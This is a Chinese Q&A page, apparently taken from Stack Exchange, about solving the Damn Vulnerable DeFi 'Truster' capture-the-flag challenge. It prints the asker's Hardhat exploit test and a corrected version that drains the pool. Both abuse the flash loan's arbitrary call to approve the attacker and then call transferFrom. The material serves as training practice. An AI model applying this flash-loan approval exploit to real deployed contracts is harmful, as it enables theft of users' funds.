调用transferFrom遇ERC20授权超限错误(DamnVulnerableDefi Truster挑战)
DamnVulnerableDefi Truster挑战transferFrom失败问题
我在完成DamnVulnerableDefi第3个挑战Truster时,用Ethers.js编写利用代码,遇到了奇怪的问题:控制台显示TrusterLenderPool已成功给我地址设置ERC20授权额度,但调用transferFrom(哪怕金额仅为1)仍回滚,提示ERC20: transfer amount exceeds allowance。
涉及的合约为DamnVulnerableDefi v2.2.0版本中的TrusterLenderPool合约。
我的利用代码及测试代码如下:
const { ethers } = require('hardhat'); const { expect } = require('chai'); describe('[Challenge] Truster', function () { let deployer, attacker; const TOKENS_IN_POOL = ethers.utils.parseEther('1000000'); before(async function () { /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ [deployer, attacker] = await ethers.getSigners(); const DamnValuableToken = await ethers.getContractFactory('DamnValuableToken', deployer); const TrusterLenderPool = await ethers.getContractFactory('TrusterLenderPool', deployer); this.token = await DamnValuableToken.deploy(); this.pool = await TrusterLenderPool.deploy(this.token.address); //this.poolAttack = await TrusterLenderPoolAttack.deploy(); await this.token.transfer(this.pool.address, TOKENS_IN_POOL); expect( await this.token.balanceOf(this.pool.address) ).to.equal(TOKENS_IN_POOL); expect( await this.token.balanceOf(attacker.address) ).to.equal('0'); }); it('Exploit', async function () { /** CODE YOUR EXPLOIT HERE */ //Make a 0-amount flashloan, //As target, specify the erc20-contract and approve a withdrawal of entire balance to my address //After flashloan, I can withdraw let ABI = ["function approve(address spender, uint256 amount)"]; let iface = new ethers.utils.Interface(ABI); let data = iface.encodeFunctionData("approve", [attacker.address, await this.token.balanceOf(this.pool.address)]); await this.pool.connect(attacker); console.log("Allowance before: ", await this.token.allowance(this.pool.address, attacker.address)) await this.pool.flashLoan( 0, attacker.address, this.token.address, data ); console.log("Allowance after: ", await this.token.allowance(this.pool.address, attacker.address)); console.log("Contract balance", await this.token.balanceOf(this.pool.address)) this.token.connect(attacker); //Make the call from attacker's address await this.token.transferFrom(this.pool.address, attacker.address, 1) //fails here }); after(async function () { /** SUCCESS CONDITIONS */ // Attacker has taken all tokens from the pool expect( await this.token.balanceOf(attacker.address) ).to.equal(TOKENS_IN_POOL); expect( await this.token.balanceOf(this.pool.address) ).to.equal('0'); }); });
控制台输出(授权已设置但transferFrom失败):
compiling 1 file with 0.8.7 Compilation finished successfully [Challenge] Truster Allowance before: BigNumber { _hex: '0x00', _isBigNumber: true } Allowance after: BigNumber { _hex: '0xd3c21bcecceda1000000', _isBigNumber: true } Contract balance BigNumber { _hex: '0xd3c21bcecceda1000000', _isBigNumber: true } 1) Exploit 2) "after all" hook for "Exploit" 0 passing (547ms) 2 failing 1) [Challenge] Truster Exploit: Error: VM Exception while processing transaction: reverted with reason string 'ERC20: transfer amount exceeds allowance' at DamnValuableToken.transferFrom (@openzeppelin/contracts/token/ERC20/ERC20.sol:157) at processTicksAndRejections (internal/process/task_queues.js:95:5) at runNextTicks (internal/process/task_queues.js:64:3) at listOnTimeout (internal/timers.js:526:9) at processTimers (internal/timers.js:500:7) at HardhatNode._mineBlockWithPendingTxs (node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:1582:23) at HardhatNode.mineBlock (node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:435:16) at EthModule._sendTransactionAndReturnHash (node_modules/hardhat/src/internal/hardhat-network/provider/modules/eth.ts:1494:18) 2) [Challenge] Truster "after all" hook for "Exploit": AssertionError: Expected "0" to be equal 1000000000000000000000000 + expected - actual { - "_hex": "0xd3c21bcecceda1000000" + "_hex": "0x00" "_isBigNumber": true } at Context.<anonymous> (test/truster/truster.challenge.js:66:14) at processTicksAndRejections (internal/process/task_queues.js:95:5) at runNextTicks (internal/process/task_queues.js:64:3) at listOnTimeout (internal/timers.js:526:9) at processTimers (internal/timers.js:500:7)
问题原因及修复方案
核心问题
Ethers.js中,connect()方法会返回一个连接了指定签名者的新合约实例,而不会修改原实例。你当前的代码中:
await this.pool.connect(attacker);只是创建了新实例,但没有赋值,后续调用flashLoan还是用的部署者实例(不过这步不影响授权,因为flashLoan的逻辑是让pool调用目标合约);this.token.connect(attacker);同样只是创建了新实例,没赋值,所以transferFrom调用还是用的部署者身份,而部署者没有被授权,自然会报错。
修复步骤
- 修正flashLoan调用:直接链式调用
connect,确保用attacker身份发起flashLoan(符合逻辑):
await this.pool.connect(attacker).flashLoan( 0, attacker.address, this.token.address, data );
- 修正transferFrom调用:要么将连接后的实例赋值给变量,要么直接链式调用:
// 方式1:赋值变量 const attackerToken = this.token.connect(attacker); await attackerToken.transferFrom(this.pool.address, attacker.address, await this.token.balanceOf(this.pool.address)); // 方式2:链式调用 await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, await this.token.balanceOf(this.pool.address));
完整修复后的Exploit函数
it('Exploit', async function () { let ABI = ["function approve(address spender, uint256 amount)"]; let iface = new ethers.utils.Interface(ABI); const poolBalance = await this.token.balanceOf(this.pool.address); let data = iface.encodeFunctionData("approve", [attacker.address, poolBalance]); console.log("Allowance before: ", await this.token.allowance(this.pool.address, attacker.address)) // 用attacker身份调用flashLoan await this.pool.connect(attacker).flashLoan( 0, attacker.address, this.token.address, data ); console.log("Allowance after: ", await this.token.allowance(this.pool.address, attacker.address)); console.log("Contract balance", await this.token.balanceOf(this.pool.address)) // 用attacker身份调用transferFrom,提取全部代币 await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, poolBalance); });
内容的提问来源于stack exchange,提问作者Ruben
相关产品推荐
相关产品推荐

